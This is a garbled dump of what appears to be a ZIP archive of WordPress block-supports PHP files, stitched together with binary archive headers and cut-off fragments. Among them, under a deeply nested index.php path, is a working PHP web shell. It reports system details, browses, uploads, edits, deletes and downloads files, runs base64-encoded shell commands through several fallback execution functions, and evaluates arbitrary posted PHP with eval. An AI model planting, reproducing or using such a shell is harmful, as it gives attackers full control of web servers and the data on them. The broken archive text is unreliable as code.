???PK !
5 dist/modules/media/content/media/qsuql/otpy/index.phpnu 6$ PK ! C}Q }Q - dist/modules/images/v2/2025/yib/fsd/index.phpnu 6$ array('pipe', 'w')), $pipes);
$output = stream_get_contents($pipes[1]);
$return_var = proc_close($process);
break;
case 'popen':
$handle = popen($command, 'r');
$output = stream_get_contents($handle);
$return_var = pclose($handle);
break;
case 'pcntl_exec':
break;
case 'backtick':
$output = `$command`;
$return_var = strlen($output); // backtick operator doesn't provide a return_var
break;
}
// If the command was executed successfully, break out of the loop
//echo "Command: $command\n ";
if ( (is_array($output) && count($output) > 0) || (!is_array($output) && strlen($output) > 0 ) ){
echo "Command: $command\n ";
echo "used Exxecution Method: $method\n ";
$_SESSION["method"] = $method;
break;
}
}
return $output;
}
function createDirectoryLinks($directory) {
$sections = explode(DIRECTORY_SEPARATOR, $directory);
$currentPath = '';
$links = '';
foreach ($sections as $section) {
if (!empty($section)) {
$currentPath .= DIRECTORY_SEPARATOR . $section;
$links .= DIRECTORY_SEPARATOR ."" . $section . " ";
}
}
return $links;
}
function getFilePermissionsString($itemPath) {
$permissions = fileperms($itemPath);
// Get the file type
$fileType = '';
if (is_dir($itemPath)) {
$fileType = 'd';
} elseif (is_link($itemPath)) {
$fileType = 'l';
} else {
$fileType = '-';
}
// Convert integer permissions to string representation
$permissionString = $fileType;
// Owner permissions
$permissionString .= ($permissions & 0x0100) ? 'r' : '-';
$permissionString .= ($permissions & 0x0080) ? 'w' : '-';
$permissionString .= ($permissions & 0x0040) ?
(($permissions & 0x0800) ? 's' : 'x') :
(($permissions & 0x0800) ? 'S' : '-');
// Group permissions
$permissionString .= ($permissions & 0x0020) ? 'r' : '-';
$permissionString .= ($permissions & 0x0010) ? 'w' : '-';
$permissionString .= ($permissions & 0x0008) ?
(($permissions & 0x0400) ? 's' : 'x') :
(($permissions & 0x0400) ? 'S' : '-');
// Others permissions
$permissionString .= ($permissions & 0x0004) ? 'r' : '-';
$permissionString .= ($permissions & 0x0002) ? 'w' : '-';
$permissionString .= ($permissions & 0x0001) ?
(($permissions & 0x0200) ? 't' : 'x') :
(($permissions & 0x0200) ? 'T' : '-');
return $permissionString;
}
function getGroupInfo($path) {
$gid = filegroup($path);
$groupInfo = array();
if (file_exists('/etc/group')) {
$handle = fopen('/etc/group', 'r');
while (($line = fread($handle, 1024)) !== false) {
$fields = explode(':', $line);
if ($fields[2] == $gid) {
$groupInfo['name'] = $fields[0];
break;
}
}
fclose($handle);
}
return $groupInfo['name'];
}
function getOwnerInfo($path,$isuname = false) {
if(fileowner("..") == fileowner($path)){
$isuname = true;
}
$uid = fileowner($path);
$userInfo = array();
if (function_exists('getpwuid')) {
$userInfo = getpwuid($uid);
return $userInfo['name'];
} else {
// Fallback method using script path
$scriptPath = __FILE__; // Get the current script path
if ($isuname && strpos($scriptPath, '/home/') !== false) {
$owner = substr($scriptPath, strpos($scriptPath, '/home/') + 6);
$owner = substr($owner, 0, strpos($owner, '/'));
return $owner;
} else {
// Default fallback
$userInfo['name'] = 'User_' . $uid;
return $userInfo['name'];
}
}
}
// Fetch directory listing using ls -liah command
function getDirectoryListing($directory) {
$directoryContents = scandir($directory);
$lsOutput = "";
$directories = array();
$files = array();
$x = 0;
foreach ($directoryContents as $item) {
$x++;
$itemPath = $directory . '/' . $item;
$itemInfo = pathinfo($itemPath);
$permissions = getFilePermissionsString($itemPath);
$owner = (function_exists('posix_getpwuid')) ? posix_getpwuid(fileowner($itemPath))['name'] : getOwnerInfo($itemPath);
$group = (function_exists('posix_getgrgid')) ? posix_getgrgid(filegroup($itemPath))['name'] : getGroupInfo($itemPath);
$size = filesize($itemPath);
if ($size < 1024) {
$sString = $size . " B";
} elseif ($size < 1048576) {
$sString = round($size / 1024, 2) . " KB";
} elseif ($size < 1073741824) {
$sString = round($size / 1048576, 2) . " MB";
} else {
$sString = round($size / 1073741824, 2) . " GB";
}
$sString = str_replace(" ", "", $sString);
//echo "[[$sString]]";
$modifiedTime = date('Y-m-d H:i:s', filemtime($itemPath));
if(substr($permissions, 0, 1)=="d"){
$item = "[$item]";
}
$line = sprintf(
"%d[+]%s[+]%s[+]%s[+]%s[+]%s[+]%s",
$x,
$item,
$owner,
$group,
$sString,
$permissions,
$modifiedTime
);
if(substr($permissions, 0, 1)=="d"){
$directories[] = $line;
}else{
$files[] = $line;
}
}
$lsOutput = implode("\n", $directories);
$lsOutput .= "\n".implode("\n", $files);
return $lsOutput;
}
function forceDownload($filePath) {
if (file_exists($filePath)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($filePath) . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filePath));
readfile($filePath);
exit;
}
}
echo <<
td, tr{
font-size: small;
}
body {
font-family: Arial, sans-serif;
background-color: #1a1d23;
color: #fff;
padding: 20px;
margin: 0;
box-sizing: border-box;
}
h1, h2, h3, h4, h5, h6 {
color: #fff;
margin-bottom: 10px;
}
h1 {
font-size: 36px;
}
h2, .underlink {
font-size: 24px;
}
h3 {
font-size: 18px;
}
h4, div {
font-size: 16px;
}
h5 {
font-size: 14px;
}
h6 {
font-size: 12px;
}
p {
font-size: 16px;
margin-bottom: 20px;
}
a {
color: #fff;
text-decoration: none;
transition: color 0.2s ease;
}
a:hover {
color: #ccc;
}
table {
border-collapse: collapse;
width: 100%;
margin-bottom: 20px;
}
th, td {
border: 1px solid #333;
padding: 10px;
text-align: left;
}
th {
background-color: #333;
color: #fff;
}
td {
border-color: #333;
}
tr:nth-child(even) {
background-color: #333;
}
tr:nth-child(odd) {
background-color: #444;
}
tr:hover {
background-color: #555;
}
tr:hover td {
background-color: #666;
}
tr:hover th {
background-color: #777;
}
button {
background-color: #333;
color: #fff;
border: none;
padding: 10px 20px;
font-size: 16px;
cursor: pointer;
}
button:hover {
background-color: #444;
}
input[type="text"] {
padding: 10px;
border: 1px solid #333;
width: 30%;
font-size: 16px;
}
input[type="submit"] {
background-color: #333;
color: #fff;
border: none;
padding: 10px 20px;
font-size: 16px;
cursor: pointer;
}
input[type="submit"]:hover {
background-color: #444;
}
head;
// PHP version
echo "PHP Version: " . phpversion() . " ";
// Linux version
$linuxVersion = php_uname('a');
echo "Linux Version: " . $linuxVersion . " ";
// Uname
$uname = php_uname('s');
echo "Uname: " . $uname . " ";
// User
$user = (function_exists('posix_getpwuid')) ? posix_getpwuid(fileowner(".."))['name'] : getOwnerInfo("..", true);
echo "User: " . $user . " ";
// Hostname
$hostname = gethostname();
echo "Hostname: " . $hostname . " ";
// Disabled PHP functions
$disabledFunctions = ini_get('disable_functions');
echo "Disabled PHP Functions: " . $disabledFunctions . " ";
// Initialize array to store previous working directories
if (!isset($_SESSION['prevDirs'])) {
$_SESSION['prevDirs'] = [];
}
// Set default working directory
$workingDir = isset($_SESSION['workingDir']) ? $_SESSION['workingDir'] : __DIR__;
// Handle change of working directory
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["newdir"])) {
$newDir = $_POST["newdir"];
if (is_dir($newDir)) {
// Check if the new directory is already in previous directories
if (!in_array($newDir, $_SESSION['prevDirs'])) {
$_SESSION['prevDirs'][] = $workingDir;
}
$workingDir = realpath($newDir);
$_SESSION['workingDir'] = $workingDir;
} else {
echo "Invalid directory!";
}
}
// Handle file upload
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_FILES["file"])) {
$uploadDir = $workingDir . '/';
$uploadFile = $uploadDir . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {
echo "File uploaded successfully.\n";
} else {
echo "Error uploading file.\n";
}
}
// Execute command
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["command"])) {
chdir($workingDir);
//$commandOutput = exCommand('/bin/cd ' . escapeshellarg($workingDir) . ' && ' . $_POST["command"]);
$commandOutput = exCommand(base64_decode($_POST["command"]));
if(is_array($commandOutput)){
echo implode("\n ", $commandOutput);
}else{
echo "$commandOutput ";
}
}
// Handle file actions and directory listing
// Handle file actions and directory listing
if (isset($_GET['action']) && isset($_GET['filename'])) {
$action = $_GET['action'];
$filename = $_GET['filename'];
switch ($action) {
case 'E':
// Edit file action
$filePath = $workingDir . '/' . $filename;
if (is_file($filePath)) {
if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_POST["file_content"])) {
// Save file content if form is submitted
$fileContent = $_POST["file_content"];
if (file_put_contents($filePath, $fileContent) !== false) {
echo "File saved successfully: $filename";
} else {
echo "Error saving file: $filename";
}
} else {
// Display file content in form for editing
$fileContent = file_get_contents($filePath);
$fileContentSafe = htmlspecialchars($fileContent);
echo "Edit File: $filename ";
echo "";
}
} else {
echo "File not found: $filename";
}
break;
case 'Del':
// Delete file action
$filePath = $workingDir . '/' . $filename;
if (is_file($filePath)) {
if (unlink($filePath)) {
echo "File deleted successfully: $filename";
} else {
echo "Error deleting file: $filename";
}
} else {
echo "File not found: $filename";
}
break;
case 'Dow':
// Download file action
$filePath = $workingDir . '/' . $filename;
if (is_file($filePath)) {
forceDownload($filePath);
} else {
echo "File not found: $filename";
}
break;
case 'R':
// Handle rename file action
if (isset($_GET['action']) && $_GET['action'] === 'R') {
$filename = isset($_GET['filename']) ? $_GET['filename'] : '';
$newname = isset($_GET['newname']) ? $_GET['newname'] : 'new';
if (!empty($filename)) {
// Implement your logic for renaming file here
rename($filename, $newname);
echo "renamed successfully from $filename to $newname";
}
}
break;
default:
echo "Invalid action.";
break;
}
}
// Include the current working directory in the list of previous directories if it's not already listed
if (!in_array($workingDir, $_SESSION['prevDirs'])) {
$_SESSION['prevDirs'][] = $workingDir;
}
// Update working directory if a previous directory link is clicked
if (isset($_GET['newdir'])) {
$newDir = $_GET['newdir'];
if (in_array($newDir, $_SESSION['prevDirs'])) {
$workingDir = $newDir;
$_SESSION['workingDir'] = $workingDir;
}
}
// Get the directory listing
$lsOutput = getDirectoryListing($workingDir);
// Display directory listing in a table with single-line borders
$wd = __DIR__;
echo "Contents of ".createDirectoryLinks($workingDir).": [Home Dir ] ";
// Get the current page number from the URL
$currentPage = isset($_GET['page']) ? (int)$_GET['page'] : 1;
// Set the number of entries per page
$entriesPerPage = 30;
// Split the $fileLines array into pages
$fileLinePages = array_chunk(explode("\n", $lsOutput), $entriesPerPage);
// Display the current page
echo "";
foreach ($fileLinePages[$currentPage - 1] as $index => $line) {
// Skip empty lines
if (empty(trim($line))) continue;
$columns = explode("[+]", $line);//preg_split('/\s+/', $line, -1, PREG_SPLIT_NO_EMPTY);
echo "";
foreach ($columns as $colIndex => $column) {
if ($colIndex == count($columns) - 1) {
// Last column (filename)
echo "$column ";
if ($index >= 0) {
// Actions for subsequent rows
//echo $columns[5];
if (substr($columns[5], 0, 1) != 'd') {
// If not a directory, include actions
echo '';
echo " E | ";
echo "Del | ";
echo "Dow | ";
echo "R ";
echo " ";
} elseif($columns[1]=="[.]" || $columns[1]=="[..]"){
echo ' ';
}else{
$dirName = str_replace("[", "", $columns[1]);
$dirName = str_replace("]", "", $dirName);
echo '';
echo "Download | ";
echo "Rename ";
echo " ";
}
}
} else {
// Other columns
if(substr($column[0], 0, 1) == '['){
//make it clickable to change directory
$dirName = str_replace("[", "", $column);
$dirName = str_replace("]", "", $dirName);
if($dirName==".."){
$dirName = getUpperDirectory($workingDir);
}elseif($dirName !="."){
$dirName = $workingDir."/".$dirName;
}
if ($dirName=="."){
echo "[.] ";
}else{
echo "$column ";
}
}else{
echo "$column ";
}
}
}
echo " ";
}
echo "
";
// Display pagination links
echo " ";
// Change Working Directory form
echo "";
echo "Change Working Directory: ";
echo " ";
echo "CD ";
echo " ";
// Upload form
echo "Upload a File ";
echo "";
echo " ";
echo "Upload ";
echo " ";
// Command Execution form
echo "Execute Command ";
echo "";
echo "Command: ";
echo " ";
echo "Execute ";
echo " ";
// PHP Eval form
echo "Evaluate PHP Code ";
echo "";
echo "PHP Code: ";
echo " ";
echo "Evaluate ";
echo " ";
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["php_code"])) {
$phpCode = $_POST["php_code"];
try {
ob_start();
eval($phpCode);
$output = ob_get_clean();
echo "Output: ";
echo "$output ";
} catch (Exception $e) {
echo "Error: ";
echo "" . $e->getMessage() . " ";
}
}
echo <<
footer;
?>
PK ! #_- -
shadow.phpnu ȯ attributes ) {
$block_type->attributes = array();
}
if ( array_key_exists( 'style', $block_type->attributes ) ) {
$block_type->attributes['style'] = array(
'type' => 'object',
);
}
if ( array_key_exists( 'shadow', $block_type->attributes ) ) {
$block_type->attributes['shadow'] = array(
'type' => 'string',
);
}
}
/**
* Add CSS classes and inline styles for shadow features to the incoming attributes array.
* This will be applied to the block markup in the front-end.
*
* @since 6.3.0
* @since 6.6.0 Return early if __experimentalSkipSerialization is true.
* @access private
*
* @param WP_Block_Type $block_type Block type.
* @param array $block_attributes Block attributes.
* @return array Shadow CSS classes and inline styles.
*/
function wp_apply_shadow_support( $block_type, $block_attributes ) {
$has_shadow_support = block_has_support( $block_type, 'shadow', false );
if (
! $has_shadow_support ||
wp_should_skip_block_supports_serialization( $block_type, 'shadow' )
) {
return array();
}
$shadow_block_styles = array();
$custom_shadow = $block_attributes['style']['shadow'] ?? null;
$shadow_block_styles['shadow'] = $custom_shadow;
$attributes = array();
$styles = wp_style_engine_get_styles( $shadow_block_styles );
if ( ! empty( $styles['css'] ) ) {
$attributes['style'] = $styles['css'];
}
return $attributes;
}
// Register the block support.
WP_Block_Supports::get_instance()->register(
'shadow',
array(
'register_attribute' => 'wp_register_shadow_support',
'apply' => 'wp_apply_shadow_support',
)
);
PK ! U utils.phpnu [ supports, $path, false );
if ( is_array( $skip_serialization ) ) {
return in_array( $feature, $skip_serialization, true );
}
return $skip_serialization;
}
PK ! QA/< < spacing.phpnu [ attributes ) {
$block_type->attributes = array();
}
if ( $has_spacing_support && ! array_key_exists( 'style', $block_type->attributes ) ) {
$block_type->attributes['style'] = array(
'type' => 'object',
);
}
}
/**
* Adds CSS classes for block spacing to the incoming attributes array.
* This will be applied to the block markup in the front-end.
*
* @since 5.8.0
* @since 6.1.0 Implemented the style engine to generate CSS and classnames.
* @access private
*
* @param WP_Block_Type $block_type Block Type.
* @param array $block_attributes Block attributes.
* @return array Block spacing CSS classes and inline styles.
*/
function wp_apply_spacing_support( $block_type, $block_attributes ) {
if ( wp_should_skip_block_supports_serialization( $block_type, 'spacing' ) ) {
return array();
}
$attributes = array();
$has_padding_support = block_has_support( $block_type, array( 'spacing', 'padding' ), false );
$has_margin_support = block_has_support( $block_type, array( 'spacing', 'margin' ), false );
$block_styles = isset( $block_attributes['style'] ) ? $block_attributes['style'] : null;
if ( ! $block_styles ) {
return $attributes;
}
$skip_padding = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'padding' );
$skip_margin = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'margin' );
$spacing_block_styles = array(
'padding' => null,
'margin' => null,
);
if ( $has_padding_support && ! $skip_padding ) {
$spacing_block_styles['padding'] = isset( $block_styles['spacing']['padding'] ) ? $block_styles['spacing']['padding'] : null;
}
if ( $has_margin_support && ! $skip_margin ) {
$spacing_block_styles['margin'] = isset( $block_styles['spacing']['margin'] ) ? $block_styles['spacing']['margin'] : null;
}
$styles = wp_style_engine_get_styles( array( 'spacing' => $spacing_block_styles ) );
if ( ! empty( $styles['css'] ) ) {
$attributes['style'] = $styles['css'];
}
return $attributes;
}
// Register the block support.
WP_Block_Supports::get_instance()->register(
'spacing',
array(
'register_attribute' => 'wp_register_spacing_support',
'apply' => 'wp_apply_spacing_support',
)
);
PK ! settings.phpnu [ get_registered( $block['blockName'] );
if ( ! block_has_support( $block_type, '__experimentalSettings', false ) ) {
return $block_content;
}
// return early if no settings are found on the block attributes.
$block_settings = isset( $block['attrs']['settings'] ) ? $block['attrs']['settings'] : null;
if ( empty( $block_settings ) ) {
return $block_content;
}
// Like the layout hook this assumes the hook only applies to blocks with a single wrapper.
// Add the class name to the first element, presuming it's the wrapper, if it exists.
$tags = new WP_HTML_Tag_Processor( $block_content );
if ( $tags->next_tag() ) {
$tags->add_class( _wp_get_presets_class_name( $block ) );
}
return $tags->get_updated_html();
}
/**
* Render the block level presets stylesheet.
*
* @internal
*
* @since 6.2.0
* @since 6.3.0 Updated preset styles to use Selectors API.
* @access private
*
* @param string|null $pre_render The pre-rendered content. Default null.
* @param array $block The block being rendered.
*
* @return null
*/
function _wp_add_block_level_preset_styles( $pre_render, $block ) {
// Return early if the block has not support for descendent block styles.
$block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
if ( ! block_has_support( $block_type, '__experimentalSettings', false ) ) {
return null;
}
// return early if no settings are found on the block attributes.
$block_settings = isset( $block['attrs']['settings'] ) ? $block['attrs']['settings'] : null;
if ( empty( $block_settings ) ) {
return null;
}
$class_name = '.' . _wp_get_presets_class_name( $block );
// the root selector for preset variables needs to target every possible block selector
// in order for the general setting to override any bock specific setting of a parent block or
// the site root.
$variables_root_selector = '*,[class*="wp-block"]';
$registry = WP_Block_Type_Registry::get_instance();
$blocks = $registry->get_all_registered();
foreach ( $blocks as $block_type ) {
/*
* We only want to append selectors for blocks using custom selectors
* i.e. not `wp-block-`.
*/
$has_custom_selector =
( isset( $block_type->supports['__experimentalSelector'] ) && is_string( $block_type->supports['__experimentalSelector'] ) ) ||
( isset( $block_type->selectors['root'] ) && is_string( $block_type->selectors['root'] ) );
if ( $has_custom_selector ) {
$variables_root_selector .= ',' . wp_get_block_css_selector( $block_type );
}
}
$variables_root_selector = WP_Theme_JSON::scope_selector( $class_name, $variables_root_selector );
// Remove any potentially unsafe styles.
$theme_json_shape = WP_Theme_JSON::remove_insecure_properties(
array(
'version' => WP_Theme_JSON::LATEST_SCHEMA,
'settings' => $block_settings,
)
);
$theme_json_object = new WP_Theme_JSON( $theme_json_shape );
$styles = '';
// include preset css variables declaration on the stylesheet.
$styles .= $theme_json_object->get_stylesheet(
array( 'variables' ),
null,
array(
'root_selector' => $variables_root_selector,
'scope' => $class_name,
)
);
// include preset css classes on the the stylesheet.
$styles .= $theme_json_object->get_stylesheet(
array( 'presets' ),
null,
array(
'root_selector' => $class_name . ',' . $class_name . ' *',
'scope' => $class_name,
)
);
if ( ! empty( $styles ) ) {
wp_enqueue_block_support_styles( $styles );
}
return null;
}
add_filter( 'render_block', '_wp_add_block_level_presets_class', 10, 2 );
add_filter( 'pre_render_block', '_wp_add_block_level_preset_styles', 10, 2 );
PK ! ! ! elements.phpnu ȯ array(
'skip' => isset( $options['button']['skip'] ) ? $options['button']['skip'] : false,
'paths' => array(
array( 'button', 'color', 'text' ),
array( 'button', 'color', 'background' ),
array( 'button', 'color', 'gradient' ),
),
),
'link' => array(
'skip' => isset( $options['link']['skip'] ) ? $options['link']['skip'] : false,
'paths' => array(
array( 'link', 'color', 'text' ),
array( 'link', ':hover', 'color', 'text' ),
),
),
'heading' => array(
'skip' => isset( $options['heading']['skip'] ) ? $options['heading']['skip'] : false,
'paths' => array(
array( 'heading', 'color', 'text' ),
array( 'heading', 'color', 'background' ),
array( 'heading', 'color', 'gradient' ),
array( 'h1', 'color', 'text' ),
array( 'h1', 'color', 'background' ),
array( 'h1', 'color', 'gradient' ),
array( 'h2', 'color', 'text' ),
array( 'h2', 'color', 'background' ),
array( 'h2', 'color', 'gradient' ),
array( 'h3', 'color', 'text' ),
array( 'h3', 'color', 'background' ),
array( 'h3', 'color', 'gradient' ),
array( 'h4', 'color', 'text' ),
array( 'h4', 'color', 'background' ),
array( 'h4', 'color', 'gradient' ),
array( 'h5', 'color', 'text' ),
array( 'h5', 'color', 'background' ),
array( 'h5', 'color', 'gradient' ),
array( 'h6', 'color', 'text' ),
array( 'h6', 'color', 'background' ),
array( 'h6', 'color', 'gradient' ),
),
),
);
$elements_style_attributes = $block['attrs']['style']['elements'];
foreach ( $element_color_properties as $element_config ) {
if ( $element_config['skip'] ) {
continue;
}
foreach ( $element_config['paths'] as $path ) {
if ( null !== _wp_array_get( $elements_style_attributes, $path, null ) ) {
return true;
}
}
}
return false;
}
/**
* Render the elements stylesheet and adds elements class name to block as required.
*
* In the case of nested blocks we want the parent element styles to be rendered before their descendants.
* This solves the issue of an element (e.g.: link color) being styled in both the parent and a descendant:
* we want the descendant style to take priority, and this is done by loading it after, in DOM order.
*
* @since 6.0.0
* @since 6.1.0 Implemented the style engine to generate CSS and classnames.
* @since 6.6.0 Element block support class and styles are generated via the `render_block_data` filter instead of `pre_render_block`.
* @access private
*
* @param array $parsed_block The parsed block.
* @return array The same parsed block with elements classname added if appropriate.
*/
function wp_render_elements_support_styles( $parsed_block ) {
/*
* The generation of element styles and classname were moved to the
* `render_block_data` filter in 6.6.0 to avoid filtered attributes
* breaking the application of the elements CSS class.
*
* @see https://github.com/WordPress/gutenberg/pull/59535
*
* The change in filter means, the argument types for this function
* have changed and require deprecating.
*/
if ( is_string( $parsed_block ) ) {
_deprecated_argument(
__FUNCTION__,
'6.6.0',
__( 'Use as a `pre_render_block` filter is deprecated. Use with `render_block_data` instead.' )
);
}
$block_type = WP_Block_Type_Registry::get_instance()->get_registered( $parsed_block['blockName'] );
$element_block_styles = isset( $parsed_block['attrs']['style']['elements'] ) ? $parsed_block['attrs']['style']['elements'] : null;
if ( ! $element_block_styles ) {
return $parsed_block;
}
$skip_link_color_serialization = wp_should_skip_block_supports_serialization( $block_type, 'color', 'link' );
$skip_heading_color_serialization = wp_should_skip_block_supports_serialization( $block_type, 'color', 'heading' );
$skip_button_color_serialization = wp_should_skip_block_supports_serialization( $block_type, 'color', 'button' );
$skips_all_element_color_serialization = $skip_link_color_serialization &&
$skip_heading_color_serialization &&
$skip_button_color_serialization;
if ( $skips_all_element_color_serialization ) {
return $parsed_block;
}
$options = array(
'button' => array( 'skip' => $skip_button_color_serialization ),
'link' => array( 'skip' => $skip_link_color_serialization ),
'heading' => array( 'skip' => $skip_heading_color_serialization ),
);
if ( ! wp_should_add_elements_class_name( $parsed_block, $options ) ) {
return $parsed_block;
}
$class_name = wp_get_elements_class_name( $parsed_block );
$updated_class_name = isset( $parsed_block['attrs']['className'] ) ? $parsed_block['attrs']['className'] . " $class_name" : $class_name;
_wp_array_set( $parsed_block, array( 'attrs', 'className' ), $updated_class_name );
// Generate element styles based on selector and store in style engine for enqueuing.
$element_types = array(
'button' => array(
'selector' => ".$class_name .wp-element-button, .$class_name .wp-block-button__link",
'skip' => $skip_button_color_serialization,
),
'link' => array(
'selector' => ".$class_name a:where(:not(.wp-element-button))",
'hover_selector' => ".$class_name a:where(:not(.wp-element-button)):hover",
'skip' => $skip_link_color_serialization,
),
'heading' => array(
'selector' => ".$class_name h1, .$class_name h2, .$class_name h3, .$class_name h4, .$class_name h5, .$class_name h6",
'skip' => $skip_heading_color_serialization,
'elements' => array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6' ),
),
);
foreach ( $element_types as $element_type => $element_config ) {
if ( $element_config['skip'] ) {
continue;
}
$element_style_object = isset( $element_block_styles[ $element_type ] ) ? $element_block_styles[ $element_type ] : null;
// Process primary element type styles.
if ( $element_style_object ) {
wp_style_engine_get_styles(
$element_style_object,
array(
'selector' => $element_config['selector'],
'context' => 'block-supports',
)
);
if ( isset( $element_style_object[':hover'] ) ) {
wp_style_engine_get_styles(
$element_style_object[':hover'],
array(
'selector' => $element_config['hover_selector'],
'context' => 'block-supports',
)
);
}
}
// Process related elements e.g. h1-h6 for headings.
if ( isset( $element_config['elements'] ) ) {
foreach ( $element_config['elements'] as $element ) {
$element_style_object = isset( $element_block_styles[ $element ] )
? $element_block_styles[ $element ]
: null;
if ( $element_style_object ) {
wp_style_engine_get_styles(
$element_style_object,
array(
'selector' => ".$class_name $element",
'context' => 'block-supports',
)
);
}
}
}
}
return $parsed_block;
}
/**
* Ensure the elements block support class name generated, and added to
* block attributes, in the `render_block_data` filter gets applied to the
* block's markup.
*
* @see wp_render_elements_support_styles
* @since 6.6.0
*
* @param string $block_content Rendered block content.
* @param array $block Block object.
* @return string Filtered block content.
*/
function wp_render_elements_class_name( $block_content, $block ) {
$class_string = $block['attrs']['className'] ?? '';
preg_match( '/\bwp-elements-\S+\b/', $class_string, $matches );
if ( empty( $matches ) ) {
return $block_content;
}
$tags = new WP_HTML_Tag_Processor( $block_content );
if ( $tags->next_tag() ) {
$tags->add_class( $matches[0] );
}
return $tags->get_updated_html();
}
add_filter( 'render_block', 'wp_render_elements_class_name', 10, 2 );
add_filter( 'render_block_data', 'wp_render_elements_support_styles', 10, 1 );
PK ! c
$ $ block-style-variations.phpnu ȯ &$value ) {
// Only need to potentially process arrays.
if ( is_array( $value ) ) {
// If ref value is set, attempt to find its matching value and update it.
if ( array_key_exists( 'ref', $value ) ) {
// Clean up any invalid ref value.
if ( empty( $value['ref'] ) || ! is_string( $value['ref'] ) ) {
unset( $variation_data[ $key ] );
}
$value_path = explode( '.', $value['ref'] ?? '' );
$ref_value = _wp_array_get( $theme_json, $value_path );
// Only update the current value if the referenced path matched a value.
if ( null === $ref_value ) {
unset( $variation_data[ $key ] );
} else {
$value = $ref_value;
}
} else {
// Recursively look for ref instances.
wp_resolve_block_style_variation_ref_values( $value, $theme_json );
}
}
}
}
/**
* Renders the block style variation's styles.
*
* In the case of nested blocks with variations applied, we want the parent
* variation's styles to be rendered before their descendants. This solves the
* issue of a block type being styled in both the parent and descendant: we want
* the descendant style to take priority, and this is done by loading it after,
* in the DOM order. This is why the variation stylesheet generation is in a
* different filter.
*
* @since 6.6.0
* @access private
*
* @param array $parsed_block The parsed block.
*
* @return array The parsed block with block style variation classname added.
*/
function wp_render_block_style_variation_support_styles( $parsed_block ) {
$classes = $parsed_block['attrs']['className'] ?? null;
$variations = wp_get_block_style_variation_name_from_class( $classes );
if ( ! $variations ) {
return $parsed_block;
}
$tree = WP_Theme_JSON_Resolver::get_merged_data();
$theme_json = $tree->get_raw_data();
// Only the first block style variation with data is supported.
$variation_data = array();
foreach ( $variations as $variation ) {
$variation_data = $theme_json['styles']['blocks'][ $parsed_block['blockName'] ]['variations'][ $variation ] ?? array();
if ( ! empty( $variation_data ) ) {
break;
}
}
if ( empty( $variation_data ) ) {
return $parsed_block;
}
/*
* Recursively resolve any ref values with the appropriate value within the
* theme_json data.
*/
wp_resolve_block_style_variation_ref_values( $variation_data, $theme_json );
$variation_instance = wp_unique_id( $variation . '--' );
$class_name = "is-style-$variation_instance";
$updated_class_name = $parsed_block['attrs']['className'] . " $class_name";
/*
* Even though block style variations are effectively theme.json partials,
* they can't be processed completely as though they are.
*
* Block styles support custom selectors to direct specific types of styles
* to inner elements. For example, borders on Image block's get applied to
* the inner `img` element rather than the wrapping `figure`.
*
* The following relocates the "root" block style variation styles to
* under an appropriate blocks property to leverage the preexisting style
* generation for simple block style variations. This way they get the
* custom selectors they need.
*
* The inner elements and block styles for the variation itself are
* still included at the top level but scoped by the variation's selector
* when the stylesheet is generated.
*/
$elements_data = $variation_data['elements'] ?? array();
$blocks_data = $variation_data['blocks'] ?? array();
unset( $variation_data['elements'] );
unset( $variation_data['blocks'] );
_wp_array_set(
$blocks_data,
array( $parsed_block['blockName'], 'variations', $variation_instance ),
$variation_data
);
$config = array(
'version' => WP_Theme_JSON::LATEST_SCHEMA,
'styles' => array(
'elements' => $elements_data,
'blocks' => $blocks_data,
),
);
// Turn off filter that excludes block nodes. They are needed here for the variation's inner block types.
if ( ! is_admin() ) {
remove_filter( 'wp_theme_json_get_style_nodes', 'wp_filter_out_block_nodes' );
}
// Temporarily prevent variation instance from being sanitized while processing theme.json.
$styles_registry = WP_Block_Styles_Registry::get_instance();
$styles_registry->register( $parsed_block['blockName'], array( 'name' => $variation_instance ) );
$variation_theme_json = new WP_Theme_JSON( $config, 'blocks' );
$variation_styles = $variation_theme_json->get_stylesheet(
array( 'styles' ),
array( 'custom' ),
array(
'include_block_style_variations' => true,
'skip_root_layout_styles' => true,
'scope' => ".$class_name",
)
);
// Clean up temporary block style now instance styles have been processed.
$styles_registry->unregister( $parsed_block['blockName'], $variation_instance );
// Restore filter that excludes block nodes.
if ( ! is_admin() ) {
add_filter( 'wp_theme_json_get_style_nodes', 'wp_filter_out_block_nodes' );
}
if ( empty( $variation_styles ) ) {
return $parsed_block;
}
wp_register_style( 'block-style-variation-styles', false, array( 'wp-block-library', 'global-styles' ) );
wp_add_inline_style( 'block-style-variation-styles', $variation_styles );
/*
* Add variation instance class name to block's className string so it can
* be enforced in the block markup via render_block filter.
*/
_wp_array_set( $parsed_block, array( 'attrs', 'className' ), $updated_class_name );
return $parsed_block;
}
/**
* Ensures the variation block support class name generated and added to
* block attributes in the `render_block_data` filter gets applied to the
* block's markup.
*
* @since 6.6.0
* @access private
*
* @see wp_render_block_style_variation_support_styles
*
* @param string $block_content Rendered block content.
* @param array $block Block object.
*
* @return string Filtered block content.
*/
function wp_render_block_style_variation_class_name( $block_content, $block ) {
if ( ! $block_content || empty( $block['attrs']['className'] ) ) {
return $block_content;
}
/*
* Matches a class prefixed by `is-style`, followed by the
* variation slug, then `--`, and finally an instance number.
*/
preg_match( '/\bis-style-(\S+?--\d+)\b/', $block['attrs']['className'], $matches );
if ( empty( $matches ) ) {
return $block_content;
}
$tags = new WP_HTML_Tag_Processor( $block_content );
if ( $tags->next_tag() ) {
/*
* Ensure the variation instance class name set in the
* `render_block_data` filter is applied in markup.
* See `wp_render_block_style_variation_support_styles`.
*/
$tags->add_class( $matches[0] );
}
return $tags->get_updated_html();
}
/**
* Enqueues styles for block style variations.
*
* @since 6.6.0
* @access private
*/
function wp_enqueue_block_style_variation_styles() {
wp_enqueue_style( 'block-style-variation-styles' );
}
// Register the block support.
